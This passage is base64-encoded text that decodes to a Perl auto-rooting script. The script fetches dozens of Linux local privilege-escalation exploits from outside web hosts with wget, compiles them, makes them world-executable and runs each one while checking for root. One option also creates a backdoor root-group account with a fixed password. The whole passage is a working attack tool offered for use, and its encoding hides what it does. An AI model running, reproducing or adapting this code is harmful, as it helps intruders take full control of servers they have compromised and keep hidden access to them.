4zNC0yMDExIik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7CnN5c3RlbSgiaWQiKTsKCgkJICAKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93d3cuc2Nob29sYmQuY29tL2Fkc2Vuc2UvY2MvaXNrb3JwaXR4Iik7CnN5c3RlbSgiY2htb2QgNzc3IGlza29ycGl0eCIpOyAKc3lzdGVtKCIuL2lza29ycGl0eCIpOyAKc3lzdGVtKCJpZCIpOyAKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOwpzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5zY2hvb2xiZC5jb20vYWRzZW5zZS9jYy9jIik7CnN5c3RlbSgiY2htb2QgNzc3IGMiKTsKc3lzdGVtKCIuL2MiKTsKc3lzdGVtKCJpZCIpOwpwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7CnN5c3RlbSgid2dldCBodHRwOi8vd3d3LnNjaG9vbGJkLmNvbS9hZHNlbnNlL2NjL2QiKTsKc3lzdGVtKCJjaG1vZCA3NzcgZCIpOwpzeXN0ZW0oIi4vZCIpOwpzeXN0ZW0oImlkIik7CnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93d3cuc2Nob29sYmQuY29tL2Fkc2Vuc2UvY2MvNDQiKTsKc3lzdGVtKCJjaG1vZCA3NzcgNDQiKTsKc3lzdGVtKCIuLzQ0Iik7CnN5c3RlbSgiaWQiKTsKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93d3cuc2Nob29sYmQuY29tL2Fkc2Vuc2UvY2MvOTUyMSIpOwpzeXN0ZW0oImNobW9kIDc3NyA5NTIxIik7CnN5c3RlbSgiLi85NTIxIik7CnN5c3RlbSgiaWQiKTsKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOwpzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5zY2hvb2xiZC5jb20vYWRzZW5zZS9jYy9ydW45NyIpOyAKc3lzdGVtKCJjaG1vZCA3NzcgcnVuOTciKTsgCnN5c3RlbSgiLi85NyIpOyAKc3lzdGVtKCJpZCIpOyAKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOwpzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5zY2hvb2xiZC5jb20vYWRzZW5zZS9jYy9mcm9vdCIpOyAKc3lzdGVtKCJjaG1vZCA3NzcgZnJvb3QiKTsgCnN5c3RlbSgiLi9mcm9vdCIpOyAKc3lzdGVtKCJpZCIpOyAKc3lzdGVtKCJpZCIpOyAKc3lzdGVtKCJpZCIpOyAKc3lzdGVtKCJpZCIpOyAKc3lzdGVtKCJpZCIpOyAKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOwpzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5zY2hvb2xiZC5jb20vYWRzZW5zZS9jYy8xOC0xLmMiKTsgCnN5c3RlbSgiZ2NjIC1XYWxsIC1vIDE4LTEgMTgtMS5jIik7IApzeXN0ZW0oImdjYyAtV2FsbCAtbTY0IC1vIDE4LTMgMTgtMS5jIik7IApzeXN0ZW0oImNobW9kIDc3NyAxOC0xIik7IApzeXN0ZW0oImNobW9kIDc3NyAxOC0zIik7IApzeXN0ZW0oIi4vMTgtMSIpOyAKc3lzdGVtKCJpZCIpOyAKc3lzdGVtKCIuLzE4LTMiKTsgCnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93d3cuc2Nob29sYmQuY29tL2Fkc2Vuc2UvY2MvMTgtMiIpOyAgCnN5c3RlbSgiY2htb2QgNzc3IDE4LTIiKTsgCnN5c3RlbSgiLi8xOC0yIik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7CnN5c3RlbSgid2dldCBodHRwOi8vd3d3LnNjaG9vbGJkLmNvbS9hZHNlbnNlL2NjLzE4LTMiKTsgIApzeXN0ZW0oImNobW9kIDc3NyAxOC0zIik7IApzeXN0ZW0oIi4vMTgtMyIpOyAKc3lzdGVtKCJpZCIpOyAKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOwpzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5zY2hvb2xiZC5jb20vYWRzZW5zZS9jYy8xOC01Iik7ICAKc3lzdGVtKCJjaG1vZCA3NzcgMTgtNSIpOyAKc3lzdGVtKCIuLzE4LTUiKTsgCnN5c3RlbSgiaWQiKTsgCnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93d3cuc2Nob29sYmQuY29tL2Fkc2Vuc2UvY2MvZXhwbG9pdDIiKTsgIApzeXN0ZW0oImNobW9kIDc3NyBleHBsb2l0MiIpOyAKc3lzdGVtKCIuL2V4cGxvaXQyIik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7CnN5c3RlbSgid2dldCBodHRwOi8vd3d3LnNjaG9vbGJkLmNvbS9hZHNlbnNlL2NjL2V4cDEiKTsgIApzeXN0ZW0oImNobW9kIDc3NyBleHAxIik7IApzeXN0ZW0oIi4vZXhwMSIpOyAKc3lzdGVtKCJpZCIpOyAKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOwpzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5zY2hvb2xiZC5jb20vYWRzZW5zZS9jYy9leHAyIik7ICAKc3lzdGVtKCJjaG1vZCA3NzcgZXhwMiIpOyAKc3lzdGVtKCIuL2V4cDIiKTsgCnN5c3RlbSgiaWQiKTsgCnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93d3cuc2Nob29sYmQuY29tL2Fkc2Vuc2UvY2MvZXhwMyIpOyAgCnN5c3RlbSgiY2htb2QgNzc3IGV4cDMiKTsgCnN5c3RlbSgiLi9leHAzIik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7CnN5c3RlbSgid2dldCBodHRwOi8vd3d3LnNjaG9vbGJkLmNvbS9hZHNlbnNlL2NjLzIwMDktMSIpOyAgCnN5c3RlbSgiY2htb2QgNzc3IDIwMDktMSIpOyAKc3lzdGVtKCIuLzIwMDktMSIpOyAKc3lzdGVtKCJpZCIpOyAKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOwpzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5zY2hvb2xiZC5jb20vYWRzZW5zZS9jYy8zLmMiKTsgCnN5c3RlbSgiZ2NjIDMuYyAtbyAzIik7ICAKc3lzdGVtKCJjaG1vZCA3NzcgMyIpOyAKc3lzdGVtKCIuLzMiKTsgCnN5c3RlbSgiaWQiKTsgCnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93d3cuc2Nob29sYmQuY29tL2Fkc2Vuc2UvY2MvM2EiKTsgCnN5c3RlbSgiY2htb2QgNzc3IDNhIik7IApzeXN0ZW0oIi4vM2EiKTsgCnN5c3RlbSgiaWQiKTsgCnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93d3cuc2Nob29sYmQuY29tL2Fkc2Vuc2UvY2MvNC5jIik7IApzeXN0ZW0oImdjYyA0LmMgLW8gNCIpOyAgCnN5c3RlbSgiY2htb2QgNzc3IDQiKTsgCnN5c3RlbSgiLi80Iik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7CnN5c3RlbSgid2dldCBodHRwOi8vd3d3LnNjaG9vbGJkLmNvbS9hZHNlbnNlL2NjLzRhIik7IApzeXN0ZW0oImNobW9kIDc3NyA0YSIpOyAKc3lzdGVtKCIuLzRhIik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7IApzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5zY2hvb2xiZC5jb20vYWRzZW5zZS9jYy9jeC5jIik7IApzeXN0ZW0oImdjYyBjeC5jIC1vIGN4Iik7ICAKc3lzdGVtKCJjaG1vZCA3NzcgY3giKTsgCnN5c3RlbSgiLi9jeCIpOyAKc3lzdGVtKCJpZCIpOyAKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOyAKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93d3cuc2Nob29sYmQuY29tL2Fkc2Vuc2UvY2MvY3h4LmMiKTsgCnN5c3RlbSgiZ2NjIGN4eC5jIC1vIGN4eCIpOyAgCnN5c3RlbSgiY2htb2QgNzc3IGN4eCIpOyAKc3lzdGVtKCIuL2N4eCIpOyAKc3lzdGVtKCJpZCIpOyAKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOyAKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93d3cuc2Nob29sYmQuY29tL2Fkc2Vuc2UvY2MvZXhwbG9pdDIiKTsgCnN5c3RlbSgiY2htb2QgNzc3IGV4cGxvaXQyIik7IApzeXN0ZW0oIi4vZXhwbG9pdDIiKTsgCnN5c3RlbSgiaWQiKTsgCnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsgCnN5c3RlbSgid2dldCBodHRwOi8vd3d3LnNjaG9vbGJkLmNvbS9hZHNlbnNlL2NjL3J1biIpOyAKc3lzdGVtKCJjaG1vZCA3NzcgcnVuIik7IApzeXN0ZW0oIi4vcnVuIik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7IApzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5zY2hvb2xiZC5jb20vYWRzZW5zZS9jYy9yb290c2guYyIpOyAKc3lzdGVtKCJnY2Mgcm9vdHNoLmMgLW8gcm9vdHNoIik7ICAKc3lzdGVtKCJjaG1vZCA3Nzcgcm9vdHNoIik7IApzeXN0ZW0oIi4vcm9vdHNoIik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7CnN5c3RlbSgid2dldCBodHRwOi8vd3d3LnNjaG9vbGJkLmNvbS9hZHNlbnNlL2NjLzI5LmMiKTsgCnN5c3RlbSgiZ2NjIDI5LmMgLW8gMjkiKTsgIApzeXN0ZW0oImNobW9kIDc3NyAyOSIpOyAKc3lzdGVtKCIuLzI5Iik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7CnN5c3RlbSgid2dldCBodHRwOi8vd3d3LnNjaG9vbGJkLmNvbS9hZHNlbnNlL2NjLzMwIik7ICAKc3lzdGVtKCJjaG1vZCA3NzcgMzAiKTsgCnN5c3RlbSgiLi8zMCIpOyAKc3lzdGVtKCJpZCIpOyAKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOwpzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5zY2hvb2xiZC5jb20vYWRzZW5zZS9jYy8yMDA5Iik7ICAKc3lzdGVtKCJjaG1vZCA3NzcgMjAwOSIpOyAKc3lzdGVtKCIuLzIwMDkiKTsgCnN5c3RlbSgiaWQiKTsgCnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93d3cuc2Nob29sYmQuY29tL2Fkc2Vuc2UvY2MvcHdua2VybmVsIik7ICAKc3lzdGVtKCJjaG1vZCA3NzcgcHdua2VybmVsIik7IApzeXN0ZW0oIi4vcHdua2VybmVsIik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7IApzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5zY2hvb2xiZC5jb20vYWRzZW5zZS9jYy8wNSIpOyAKc3lzdGVtKCJjaG1vZCA3NzcgMDUiKTsgCnN5c3RlbSgiLi8wNSIpOyAKc3lzdGVtKCJpZCIpOyAKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOyAKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93d3cuc2Nob29sYmQuY29tL2Fkc2Vuc2UvY2MvaXNrbyIpOyAKc3lzdGVtKCJjaG1vZCA3NzcgaXNrbyIpOyAKc3lzdGVtKCIuL2lza28iKTsgCnN5c3RlbSgiaWQiKTsKc3lzdGVtKCIuL2lza28iKTsgCnN5c3RlbSgiaXNrbyIpOwpwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7IApzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5zY2hvb2xiZC5jb20vYWRzZW5zZS9jYy8xOCIpOyAKc3lzdGVtKCJjaG1vZCA3NzcgMTgiKTsgCnN5c3RlbSgiLi8xOCIpOyAKc3lzdGVtKCJpZCIpOyAKc3lzdGVtKCIuLzE4Iik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7IApzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5zY2hvb2xiZC5jb20vYWRzZW5zZS9jYy83Iik7IApzeXN0ZW0oImNobW9kIDc3NyA3Iik7IApzeXN0ZW0oIi4vNyIpOyAKc3lzdGVtKCJpZCIpOyAKc3lzdGVtKCIuLzciKTsgCnN5c3RlbSgiaWQiKTsgCnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsgCnN5c3RlbSgid2dldCBodHRwOi8vd3d3LnNjaG9vbGJkLmNvbS9hZHNlbnNlL2NjLzctMiIpOyAKc3lzdGVtKCJjaG1vZCA3NzcgNy0yIik7IApzeXN0ZW0oIi4vNy0yIik7IApzeXN0ZW0oImlkIik7IApzeXN0ZW0oIi4vNy0yIik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7IApzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5zY2hvb2xiZC5jb20vYWRzZW5zZS9jYy84Iik7IApzeXN0ZW0oImNobW9kIDc3NyA4Iik7IApzeXN0ZW0oIi4vOCIpOyAKc3lzdGVtKCJpZCIpOyAKc3lzdGVtKCIuLzgiKTsgCnN5c3RlbSgiaWQiKTsgCnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsgCnN5c3RlbSgid2dldCBodHRwOi8vd3d3LnNjaG9vbGJkLmNvbS9hZHNlbnNlL2NjLzhhIik7IApzeXN0ZW0oImNobW9kIDc3NyA4YSIpOyAKc3lzdGVtKCIuLzhhIik7IApzeXN0ZW0oImlkIik7IApzeXN0ZW0oIi4vOGEiKTsgCnN5c3RlbSgiaWQiKTsgCnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsgCnN5c3RlbSgid2dldCBodHRwOi8vd3d3LnNjaG9vbGJkLmNvbS9hZHNlbnNlL2NjLzhiYiIpOyAKc3lzdGVtKCJjaG1vZCA3NzcgOGJiIik7IApzeXN0ZW0oIi4vOGJiIik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7IApzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5zY2hvb2xiZC5jb20vYWRzZW5zZS9jYy84Y2MiKTsgCnN5c3RlbSgiY2htb2QgNzc3IDhjYyIpOyAKc3lzdGVtKCIuLzhjYyIpOyAKc3lzdGVtKCJpZCIpOyAKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOyAKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93d3cuc2Nob29sYmQuY29tL2Fkc2Vuc2UvY2MvOHgiKTsgCnN5c3RlbSgiY2htb2QgNzc3IDh4Iik7IApzeXN0ZW0oIi4vOHgiKTsgCnN5c3RlbSgiaWQiKTsgCnN5c3RlbSgiLi84eCIpOyAKc3lzdGVtKCJpZCIpOyAKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOyAKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93d3cuc2Nob29sYmQuY29tL2Fkc2Vuc2UvY2MvMjAwOCIpOyAKc3lzdGVtKCJjaG1vZCA3NzcgMjAwOCIpOyAKc3lzdGVtKCIuLzIwMDgiKTsgCnN5c3RlbSgiaWQiKTsKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOyAKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93d3cuc2Nob29sYmQuY29tL2Fkc2Vuc2UvY2MvZXhwbG9pdCIpOyAKc3lzdGVtKCJjaG1vZCA3NzcgZXhwbG9pdCIpOyAKc3lzdGVtKCIuL2V4cGxvaXQiKTsgCnN5c3RlbSgiaWQiKTsgOyAKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOwpzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5zY2hvb2xiZC5jb20vYWRzZW5zZS9jYy8yMDA5eHgiKTsgIApzeXN0ZW0oImNobW9kIDc3NyAyMDA5eHgiKTsgCnN5c3RlbSgiLi8yMDA5eHgiKTsgCnN5c3RlbSgiaWQiKTsgCnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsgCnN5c3RlbSgid2dldCBodHRwOi8vd3d3LnNjaG9vbGJkLmNvbS9hZHNlbnNlL2NjLzIuNi45LTU1LTIwMDctcHJ2OCIpOyAKc3lzdGVtKCJjaG1vZCA3NzcgMi42LjktNTUtMjAwNy1wcnY4Iik7IApzeXN0ZW0oIi4vMi42LjktNTUtMjAwNy1wcnY4Iik7IApzeXN0ZW0oImlkIik7IApzeXN0ZW0oIi4vMi42LjktNTUtMjAwNy1wcnY4Iik7IApzeXN0ZW0oImlkIik7IApzeXN0ZW0oIi4vMi42LjktNTUtMjAwNy1wcnY4Iik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7ICAKcHJpbnQgIklmIHUgbWFsZXNlZiByb290bGF5YW1hZGluIGJhc2thIHNlcnZlcmxlcmRlIG11dGxha2EgYW1hIG11dGxha2E6KWJ5IGlza29ycGl0eCAtIEVkaXQgQlkgbk8gbE92MyBcbiI7IAp9CmlmICgkQVJHVlswXSA9fiAiLWsiICkgCiAgICAgICAgICB7CnByaW50ICJMb2NhbCByb290IDIwMDkgaTY4NiAyLjYuMTgtMTI4ICBbIDIgXVxuIjsKc3lzdGVtICJ3Z2V0IGh0dHA6Ly9ncnNlY3VyaXR5Lm5ldC9+c3BlbmRlci82NGJpdF9kb3MuYyI7CnNsZWVwKDIpOwpzeXN0ZW0oImdjYyA2NGJpdF9kb3MuYyAtbyA2NGJpdF9kb3MiKTsgIApzbGVlcCgyKTsKcHJpbnQgIlx0Y29tcGxldGVkIC4uIFxuXG4iOwpzeXN0ZW0gImNobW9kIDc3NyA2NGJpdF9kb3MiOwpzbGVlcCgyKTsKcHJpbnQgIlx0Y29tcGxldGVkIC4uIFxuXG4iOwpzeXN0ZW0gIi4vNjRiaXRfZG9zIjsKcHJpbnQgIlx0Y29tcGxldGVkIC4uIFxuXG4iOwpzeXN0ZW0gInVuYW1lIC1hO3B3ZDtpZDtzdSI7CnNsZWVwKDIpOwpzeXN0ZW0gIndnZXQgaHR0cDovL2dyc2VjdXJpdHkubmV0L35zcGVuZGVyL2V4cGxvaXQudHh0IjsKc2xlZXAoMik7CnN5c3RlbSgiZ2NjIGV4cGxvaXQudHh0IC1vIGV4cGxvaXRjYyIpOyAgCnNsZWVwKDIpOwpwcmludCAiXHRjb21wbGV0ZWQgLi4gXG5cbiI7CnN5c3RlbSAiY2htb2QgNzc3IGV4cGxvaXRjYyI7CnNsZWVwKDIpOwpwcmludCAiXHRjb21wbGV0ZWQgLi4gXG5cbiI7CnN5c3RlbSAiLi9leHBsb2l0Y2MiOwpwcmludCAiXHRjb21wbGV0ZWQgLi4gXG5cbiI7CnN5c3RlbSAidW5hbWUgLWE7cHdkO2lkO3N1IjsKc2xlZXAoMik7CnN5c3RlbSAid2dldCBodHRwOi8vZ3JzZWN1cml0eS5uZXQvfnNwZW5kZXIvZ3Jsb2dhbGVydC5jIjsKc2xlZXAoMik7CnN5c3RlbSgiZ2NjIGdybG9nYWxlcnQuYyAtbyBncmxvZ2FsZXJ0Iik7ICAKc2xlZXAoMik7CnByaW50ICJcdGNvbXBsZXRlZCAuLiBcblxuIjsKc3lzdGVtICJjaG1vZCA3NzcgZ3Jsb2dhbGVydCI7CnNsZWVwKDIpOwpwcmludCAiXHRjb21wbGV0ZWQgLi4gXG5cbiI7CnN5c3RlbSAiLi9ncmxvZ2FsZXJ0IjsKcHJpbnQgIlx0Y29tcGxldGVkIC4uIFxuXG4iOwpzeXN0ZW0gInVuYW1lIC1hO3B3ZDtpZDtzdSI7CnNsZWVwKDIpOwpzeXN0ZW0gIndnZXQgaHR0cDovL2dyc2VjdXJpdHkubmV0L35zcGVuZGVyL3ZtbGludXpfdG9fdm1saW51eF9nei5jIjsKc2xlZXAoMik7CnN5c3RlbSgiZ2NjIHZtbGludXpfdG9fdm1saW51eF9nei5jIC1vIHZtbGludXpfdG9fdm1saW51eF9neiIpOyAgCnNsZWVwKDIpOwpwcmludCAiXHRjb21wbGV0ZWQgLi4gXG5cbiI7CnN5c3RlbSAiY2htb2QgNzc3IHZtbGludXpfdG9fdm1saW51eF9neiI7CnNsZWVwKDIpOwpwcmludCAiXHRjb21wbGV0ZWQgLi4gXG5cbiI7CnN5c3RlbSAiLi92bWxpbnV6X3RvX3ZtbGludXhfZ3oiOwpwcmludCAiXHRjb21wbGV0ZWQgLi4gXG5cbiI7CnN5c3RlbSAidW5hbWUgLWE7cHdkO2lkO3N1IjsKc2xlZXAoMik7CnN5c3RlbSAid2dldCBodHRwOi8vZ3JzZWN1cml0eS5uZXQvfnNwZW5kZXIvY3Jhc2h2bWxpbnV6IjsKcHJpbnQgIlx0Y29tcGxldGVkIC4uIFxuXG4iOwpzeXN0ZW0gImNobW9kIDc3NyBjcmFzaHZtbGludXoiOwpzbGVlcCgyKTsKcHJpbnQgIlx0Y29tcGxldGVkIC4uIFxuXG4iOwpzeXN0ZW0gIi4vY3Jhc2h2bWxpbnV6IjsKcHJpbnQgIlx0Y29tcGxldGVkIC4uIFxuXG4iOwpzeXN0ZW0gInVuYW1lIC1hO3B3ZDtpZDtzdSI7CnNsZWVwKDIpOwpzeXN0ZW0gIndnZXQgaHR0cDovL2RhenpsZXN0dWRpby5uZXQvMi42LjE4LTE2NCI7CnByaW50ICJcdGNvbXBsZXRlZCAuLiBcblxuIjsKc3lzdGVtICJjaG1vZCA3NzcgMi42LjE4LTE2NCI7CnNsZWVwKDIpOwpwcmludCAiXHRjb21wbGV0ZWQgLi4gXG5cbiI7CnN5c3RlbSAiLi8yLjYuMTgtMTY0IjsKcHJpbnQgIlx0Y29tcGxldGVkIC4uIFxuXG4iOwpzeXN0ZW0gInVuYW1lIC1hO3B3ZDtpZDtzdSI7CnNsZWVwKDIpOwpzeXN0ZW0gIndnZXQgaHR0cDovL2FsZXhvbG91Z2hsaW5zcGxhY2UuY29tL2ZvcnVtL05ld0Rpci96MWQtMjAxMSI7CnByaW50ICJcdGNvbXBsZXRlZCAuLiBcblxuIjsKc3lzdGVtICJjaG1vZCA3NzcgejFkLTIwMTEiOwpzbGVlcCgyKTsKcHJpbnQgIlx0Y29tcGxldGVkIC4uIFxuXG4iOwpzeXN0ZW0gIi4vejFkLTIwMTEiOwpwcmludCAiXHRjb21wbGV0ZWQgLi4gXG5cbiI7CnN5c3RlbSAidW5hbWUgLWE7cHdkO2lkO3N1IjsKICAgICB9CQppZiAoJEFSR1ZbMF0gPX4gIi1hYiIgKSAKICAgICAgICAgIHsKcHJpbnQgcSAoCiAgICAgICAgICAgICAKc2VjNGV2ZXIuY29tCik7CgogICAgIH0KIAppZiAoJEFSR1ZbMF0gPX4gIi10IiApIAogICAgICAgICAgewpwcmludCAiQWRkIFJvb3QgQWNjb3VudCBbIHIgXVxuIjsKcHJpbnQgInVzZXIgOiBbIHJvb3IgXVxuIjsKc3lzdGVtICJhZGR1c2VyIC1nIDAgcm9vciAtRyB3aGVlbCxzeXMsYmluLGRhZW1vbixhZG0sZGlzayAtZCAvc2Y3IC1zIC9iaW4vc2giOwpzeXN0ZW0gInBhc3N3ZCByMG90SDR4MHIiOwpwcmludCAicGFzcyBpcyA6IHIwb3RINHgwclxuIjsKc2xlZXAoMik7IAoKICAgICB9CQkgCgkgaWYgKCRBUkdWWzBdID1+ICItZCIgKSAKICAgICAgICAgIHsKICBzeXN0ZW0oIndnZXQgaHR0cDovL3Bqay5kYW5hd2EubXkvdGVtcGxhdGVzL2JlZXovcHJpdjgtMi42LjE4LjIwMTAiKTsKc3lzdGVtKCJjaG1vZCA3NzcgcHJpdjgtMi42LjE4LjIwMTAiKTsgCnN5c3RlbSgiLi9wcml2OC0yLjYuMTguMjAxMCIpOyAKc3lzdGVtKCJpZCIpOyAKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOwpzeXN0ZW0oImlkIik7CgogIHN5c3RlbSgid2dldCBodHRwOi8vcGprLmRhbmF3YS5teS90ZW1wbGF0ZXMvYmVlei9wcml2OC0yLjYuMTgtMTY0LTIwMTAiKTsKc3lzdGVtKCJjaG1vZCA3NzcgcHJpdjgtMi42LjE4LTE2NC0yMDEwIik7IApzeXN0ZW0oIi4vcHJpdjgtMi42LjE4LTE2NC0yMDEwIik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7CnN5c3RlbSgiaWQiKTsKCiAgc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9wamsuZGFuYXdhLm15L3RlbXBsYXRlcy9iZWV6LzIuNi4xOCIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMTgiKTsgCnN5c3RlbSgiLi8yLjYuMTgiKTsgCnN5c3RlbSgiaWQiKTsgCnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsKc3lzdGVtKCJpZCIpOwoKIHN5c3RlbSgid2dldCBodHRwOi8vcGprLmRhbmF3YS5teS90ZW1wbGF0ZXMvYmVlei8yIik7CnN5c3RlbSgiY2htb2QgNzc3IDIiKTsgCnN5c3RlbSgiLi8yIik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7CnN5c3RlbSgiaWQiKTsKCiBzeXN0ZW0oIndnZXQgaHR0cDovL3Bqay5kYW5hd2EubXkvdGVtcGxhdGVzL2JlZXovMSIpOwpzeXN0ZW0oImNobW9kIDc3NyAxIik7IApzeXN0ZW0oIi4vMSIpOyAKc3lzdGVtKCJpZCIpOyAKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOwpzeXN0ZW0oImlkIik7CgoKIHN5c3RlbSgid2dldCBodHRwOi8vcGprLmRhbmF3YS5teS90ZW1wbGF0ZXMvYmVlei8yLjYuMTgtMTk0Iik7CnN5c3RlbSgiY2htb2QgNzc3IDIuNi4xOC0xOTQiKTsgCnN5c3RlbSgiLi8yLjYuMTgtMTk0Iik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7CnN5c3RlbSgiaWQiKTsKCgogc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9wamsuZGFuYXdhLm15L3RlbXBsYXRlcy9iZWV6LzIuNi4zMi0yMS1nZW5lcmljLTIwMTAtaTY4NiIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMzItMjEtZ2VuZXJpYy0yMDEwLWk2ODYiKTsgCnN5c3RlbSgiLi8yLjYuMzItMjEtZ2VuZXJpYy0yMDEwLWk2ODYiKT